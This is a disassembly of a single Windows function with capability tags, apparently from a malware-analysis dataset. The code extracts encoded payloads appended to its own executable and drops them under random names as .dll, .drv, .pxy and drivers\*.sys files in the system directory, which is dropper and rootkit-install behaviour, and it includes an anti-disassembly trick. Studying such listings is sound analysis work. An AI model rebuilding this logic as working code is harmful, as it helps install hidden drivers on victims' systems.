Function at 0x401888
Capabilities:
Get common file path
Read file on windows

Disassembly:
mov eax, 0x4022a0
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x1a0
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x4018a9
push ebp
adc byte [ecx], 0x58
pop eax
push 0xff
mov eax, dword [ebp + 8]
add eax, 0x442
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 8]
add eax, 0x442
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xffffffff
jne 0x4018f7
xor eax, eax
jmp 0x401fea
and dword [ebp - 0x14c], 0
push 0xd
pop ecx
xor eax, eax
lea edi, [ebp - 0x148]
rep stosd dword es:[edi], eax
push 2
push 0
push 0xffffffffffffffc8
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
and dword [ebp - 0x14], 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0x38
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
push 0x38
lea eax, [ebp - 0x14c]
push eax
call fcn.00401ffa
add esp, 0xc
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x13c]
mov dword [eax + 4], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x138]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x134]
mov dword [eax + 0xc], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x130]
mov dword [eax + 0x10], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x144]
mov dword [eax + 0x14], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x12c]
mov dword [eax + 0x18], ecx
movzx eax, word [ebp - 0x120]
movzx ecx, word [ebp - 0x126]
add eax, ecx
movzx ecx, word [ebp - 0x128]
add eax, ecx
movzx ecx, word [ebp - 0x124]
add eax, ecx
movzx ecx, word [ebp - 0x11c]
add eax, ecx
movzx ecx, word [ebp - 0x11e]
add eax, ecx
movzx ecx, word [ebp - 0x122]
add eax, ecx
movzx ecx, word [ebp - 0x11a]
add eax, ecx
movzx ecx, word [ebp - 0x118]
add eax, ecx
mov dword [ebp - 0x10], eax
push 2
push 0
mov eax, dword [ebp - 0x10]
add eax, 0x38
xor ecx, ecx
sub ecx, eax
push ecx
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x120]
push eax
mov eax, dword [ebp + 8]
add eax, 0x274
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
movzx eax, word [ebp - 0x120]
push eax
mov eax, dword [ebp + 8]
add eax, 0x274
push eax
call fcn.00401ffa
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x126]
push eax
mov eax, dword [ebp + 8]
add eax, 0x11c
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
movzx eax, word [ebp - 0x126]
push eax
mov eax, dword [ebp + 8]
add eax, 0x11c
push eax
call fcn.00401ffa
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x128]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
movzx eax, word [ebp - 0x128]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.00401ffa
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x11e]
push eax
mov eax, dword [ebp + 8]
add eax, 0x28c
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
movzx eax, word [ebp - 0x11e]
push eax
mov eax, dword [ebp + 8]
add eax, 0x28c
push eax
call fcn.00401ffa
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x124]
push eax
mov eax, dword [ebp + 8]
add eax, 0x21c
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
movzx eax, word [ebp - 0x124]
push eax
mov eax, dword [ebp + 8]
add eax, 0x21c
push eax
call fcn.00401ffa
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x11c]
push eax
mov eax, dword [ebp + 8]
add eax, 0x38c
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
movzx eax, word [ebp - 0x11c]
push eax
mov eax, dword [ebp + 8]
add eax, 0x38c
push eax
call fcn.00401ffa
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x122]
push eax
mov eax, dword [ebp + 8]
add eax, 0x25c
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
movzx eax, word [ebp - 0x122]
push eax
mov eax, dword [ebp + 8]
add eax, 0x25c
push eax
call fcn.00401ffa
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x11a]
push eax
mov eax, dword [ebp + 8]
add eax, 0x3ac
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
movzx eax, word [ebp - 0x11a]
push eax
mov eax, dword [ebp + 8]
add eax, 0x3ac
push eax
call fcn.00401ffa
add esp, 0xc
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x118]
push eax
mov eax, dword [ebp + 8]
add eax, 0x3cc
push eax
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x18
movzx eax, word [ebp - 0x118]
push eax
mov eax, dword [ebp + 8]
add eax, 0x3cc
push eax
call fcn.00401ffa
add esp, 0xc
push 2
push 0
mov eax, dword [ebp - 0x14c]
add eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x10]
lea eax, [eax + ecx + 0x38]
xor ecx, ecx
sub ecx, eax
push ecx
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x14c]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x194], eax
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14c]
push dword [ebp - 0x194]
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x12c]
push dword [ebp - 0x14c]
push dword [ebp - 0x194]
call fcn.00401ffa
add esp, 0xc
and dword [ebp - 0x190], 0
cmp dword [ebp - 0x148], 0
jbe 0x401d38
push dword [ebp - 0x148]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x190], eax
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x148]
push dword [ebp - 0x190]
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x12c]
push dword [ebp - 0x148]
push dword [ebp - 0x190]
call fcn.00401ffa
add esp, 0xc
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
mov dword [eax + 0x3ec], 1
jmp 0x401d42
mov eax, dword [ebp + 8]
and dword [eax + 0x3ec], 0
mov eax, dword [ebp + 8]
add eax, 0x274
push eax
call fcn.0040204a
pop ecx
test eax, eax
jne 0x401dde
push 0
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
and dword [ebp - 0x198], 0
jmp 0x401d80
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 6
jge 0x401dc6
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 0x1a
pop ecx
idiv ecx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x198]
mov byte [eax + 0x274], dl
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x198]
mov al, byte [eax + 0x274]
add al, 0x61
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x198]
mov byte [ecx + 0x274], al
jmp 0x401d73
mov eax, dword [ebp + 8]
add eax, 0x274
push eax
mov eax, dword [ebp + 8]
add eax, 0x38c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
and byte [ebp - 0x114], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xff
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x404068
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0x542
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 8]
add eax, 0x274
push eax
mov eax, dword [ebp + 8]
add eax, 0x542
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..dll
mov eax, dword [ebp + 8]
add eax, 0x542
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0x742
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 8]
add eax, 0x274
push eax
mov eax, dword [ebp + 8]
add eax, 0x742
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..drv
mov eax, dword [ebp + 8]
add eax, 0x742
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0x842
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 8]
add eax, 0x274
push eax
mov eax, dword [ebp + 8]
add eax, 0x842
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..pxy
mov eax, dword [ebp + 8]
add eax, 0x842
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0x642
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.drivers_
mov eax, dword [ebp + 8]
add eax, 0x642
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 8]
add eax, 0x274
push eax
mov eax, dword [ebp + 8]
add eax, 0x642
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..sys
mov eax, dword [ebp + 8]
add eax, 0x642
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp + 8]
add eax, 0x3f0
push eax
call fcn.00401648
pop ecx
mov byte [ebp - 0x17e], 8
mov byte [ebp - 0x17f], 8
mov byte [ebp - 0x17d], 4
mov byte [ebp - 0x17c], 2
and dword [ebp - 4], 0
push dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, 0x542
push eax
push dword [ebp - 0x194]
lea ecx, [ebp - 0x18c]
call fcn.004013e9
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x1a4], eax
push dword [ebp - 0x1a4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
cmp dword [ebp - 0x148], 0
jbe 0x401fd6
push 0
mov eax, dword [ebp + 8]
add eax, 0x642
push eax
push dword [ebp - 0x190]
lea ecx, [ebp - 0x18c]
call fcn.004013e9
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x1a8], eax
push dword [ebp - 0x1a8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov dword [ebp - 0x1ac], 1
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret